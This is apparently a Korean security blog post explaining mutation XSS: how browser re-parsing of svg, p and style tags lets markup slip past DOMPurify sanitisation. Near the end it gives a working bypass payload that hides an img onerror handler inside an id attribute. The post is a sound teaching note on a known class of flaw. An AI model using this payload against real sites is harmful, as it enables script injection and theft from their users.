<html>
<body>
<div id=content></div>
<script>
content.innerHTML = '<svg><p>hello</svg>'
</script>
</body>
</html>
https://jh-hack.tistory.com/197
위에 설명한 Dompurify를 Mutation XSS로 인해 우회할 수 있는데
Mutation XSS란?
2013년 처음 등장한 취약점으로 Mario Heiderich가 쓴 논문에서 확인할 수 있다.
이는 innerHTML 때문에 발생하며 브라우저의 잘못된 해석 방식의 차이로 인해 발생한다.
예를 들어보면
<div><script title="</div>">
이러한 HTML 코드가 있다고 가정하면
브라우저로 실행할 시 다음과 같이 해석되어 노출된다.
<html>
<head></head>
<body>
<div>
<script title="</div>"></script>
</div>
</body>
</html>
우리는 닫는 태그를 작성하지 않은 채 코드를 작성했지만 브라우저가 해석하는 과정에서 닫는 태그를 자신의 판단하에 넣은 것이다.
다음 코드를 보면
<script><div title="</script>">
브라우저는 해당 코드를 다음과 같이 해석한다.
이는 브라우저가 <script> 태그를 만나면 닫는 태그를 찾을 때까지 HTML 파서에서 Javascript파서로 전환하기 때문에 발생한다.
이제 Dompurify에서 기본 구성으로 허용하는 태그 ( <div>, <svg>, <p>, <style> )를 이용해 작성해 보자.
<html>
<body>
<div id=content></div>
<script>
content.innerHTML = '<svg><p>hello</svg>'
</script>
</body>
</html>
이를 해석하면
<html>
<body>
<div id=content>
<svg></svg>
<p>hello</P>
</div>
<script>
content.innerHTML = '<svg><p>hello</svg>'
</script>
</body>
</html>
이는 브라우저가 <p>가 <svg> 내부에 있으면 안 된다고 판단하여 밖으로 빼낸 것이다.
아직 이걸로는 감이 안 올 텐데 이러한 성질을 이용해 XSS를 실행할 수 있다.
<stype>는 태그 안의 모든 것을 텍스트로 해석한다.
<html>
<body>
<style>
<a id="test"></a>
</style>
</body>
</html>
해당 코드를 브라우저에서 확인하면
<a> 태그를 텍스트로 인식하는 걸 확인할 수 있다.
하지만 <svg> 태그를 추가하면 브라우저의 해석하는 방식이 달라진다.
<html>
<body>
<svg>
<style>
<a id="test"></a>
</style>
</svg>
</body>
</html>
<a> 태그는 <style>의 텍스트가 아닌 HTML태그로 인식되게 된다.
이것을 잘 이용하면 XSS를 발생시킬 수 있다.
<svg>
<style>
<a id="</style><img src=x onerror=alert(1)>"></a>
</style>
</svg>
위와 같은 코드를 해석하면
</style><img src=x onerror=alert(1)>은 <a> 태그의 id 속성으로 인식되어 </style>를 닫지도 <img> 태그를 HTML로 인식하지도 않는다.
하지만 <svg>를 제거하면
위에 설명했던 <svg>로 인해 HTML로 인식되었던 <a> 태그가 더 이상 HTML이 아니라 텍스트로 인식되어 id속성은 없어지게 된다. 그러면 자연스럽게 id속성 안에 있던 <img> 태그가 HTML로 인식되어 XSS가 발생할 수 있게 되는 것이다.
'Web > 개념정리' 카테고리의 다른 글
[개념정리] Dompurify (0) | 2024.06.23 |
---|---|
[개념정리] Prototype Pollution (0) | 2024.06.05 |
[개념정리] PHP Deserialization 취약점 (0) | 2024.05.26 |
[개념정리] case mapping collision (0) | 2024.02.29 |
[개념정리] Click jacking (0) | 2024.01.05 |